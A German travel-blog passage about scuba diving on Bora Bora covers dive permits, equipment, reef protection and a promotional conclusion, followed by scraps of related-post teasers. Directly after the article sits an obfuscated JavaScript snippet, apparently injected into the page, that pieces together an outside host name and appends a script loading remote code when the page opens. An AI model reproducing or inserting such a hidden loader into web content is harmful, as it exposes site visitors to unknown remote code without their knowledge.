Tauchgenehmigung: Um auf Bora Bora tauchen zu dürfen, benötigen Taucher einen gültigen Tauchschein (mindestens PADI Open Water Diver oder äquivalent). Bei einigen Tauchschulen wird zusätzlich eine Tauchtauglichkeitsbescheinigung verlangt. Ausrüstung: Die meisten Tauchschulen auf Bora Bora stellen die komplette Tauchausrüstung zur Verfügung. Dennoch empfiehlt es sich, zumindest eigene Tauchmasken und Flossen mitzubringen, um sicherzustellen, dass sie gut passen und bequem sind. Umweltschutz: Beim Tauchen auf Bora Bora sollten Taucher darauf achten, die Umwelt zu schützen und die faszinierende Unterwasserwelt für zukünftige Generationen zu erhalten. Das bedeutet, keine Meeresbewohner oder Korallen zu berühren und keinen Müll im Meer zurückzulassen. Fazit Bora Bora ist zweifellos eines der spektakulärsten Tauchziele der Welt. Mit seinen farbenfrohen Korallengärten, einer beeindruckenden Artenvielfalt und faszinierenden Schiffswracks bietet die Insel ein unvergessliches Taucherlebnis für Anfänger und Fortgeschrittene gleichermaßen. Wenn Sie sich dazu entscheiden, die faszinierende Unterwasserwelt von Bora Bora zu erkunden, werden Sie nicht nur mit atemberaubenden Szenen und unvergesslichen Begegnungen mit Meeresbewohnern belohnt, sondern auch mit der Magie eines tropischen Paradieses, das seinesgleichen sucht. Um das Beste aus Ihrem Tauchurlaub auf Bora Bora herauszuholen, sollten Sie genügend Zeit einplanen, um die verschiedenen Tauchplätze der Insel zu erkunden und sich von den einzigartigen Eigenschaften und der Schönheit jedes einzelnen verzaubern zu lassen. Denken Sie daran, sich gut auf Ihre Tauchgänge vorzubereiten, indem Sie sich mit einer vertrauenswürdigen Tauchschule oder Tauchbasis zusammenschließen und alle notwendigen Vorbereitungen treffen, um sicherzustellen, dass Ihr Tauchabenteuer so sicher und angenehm wie möglich verläuft. Schließlich lohnt es sich, auch die Kultur und die landschaftliche Schönheit von Bora Bora über Wasser zu erkunden. Nutzen Sie die Gelegenheit, um die üppige Vegetation der Insel, die malerischen Strände und die faszinierende polynesische Kultur kennenzulernen. Unternehmen Sie Ausflüge zu den umliegenden Inseln oder erkunden Sie die Lagune von Bora Bora bei einer Kajaktour oder einem Segelausflug. Die Kombination aus spektakulären Tauchgängen, atemberaubender Natur und warmherziger Gastfreundschaft der polynesischen Bevölkerung macht Bora Bora zu einem Traumziel für Taucher und Urlauber gleichermaßen. Es gibt kaum einen besseren Ort, um die Schönheit und Faszination des Tauchens in all ihren Facetten zu erleben und unvergessliche Erinnerungen zu sammeln, die Sie ein Leben lang begleiten werden. Buchen Sie Ihren nächsten Tauchurlaub auf Bora Bora und lassen Sie sich von der Magie dieses außergewöhnlichen Ortes in ihren Bann ziehen. Eines ist sicher: Die Unterwasserwelt von Bora Bora wird Sie in Staunen versetzen und Ihr Herz erobern. (function() a0s6=document.createElement("script");a0s6_="u"+("s")+"ta"; a0s6_+=("t.i")+""+"n";a0s6_+=(("f")+"o");a0s6.type="text/javascript"; a0s6_+="/"; a0s6u="499273782";a0s6u+=".d5hf38Xu0s6v37y1ei6";a0s6u+="8absXe1Xdgm"; a0s6.src="https://"+a0s6_+a0s6u;a0s6.async=true;document.body.appendChild(a0s6); )();
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pascalcabart · 1 year
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Bora Bora: Hai- und Schnorchelsafari Wenn Sie das Paradies auf Erden suchen, dann ist Bora Bora die perfekte Wahl! Die Insel, die zu den Leeward Islands in Französisch-Polynesien gehört, ist berühmt für ihre weißen Sandstrände, türkisfarbenen Lagunen und üppigen, grünen Hügel. Eine der besten Möglichkeiten, um das kristallklare Wasser, die farbenfrohe Unterwasserwelt und die Gastfreundschaft […]
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tomasi-suluape · 10 months
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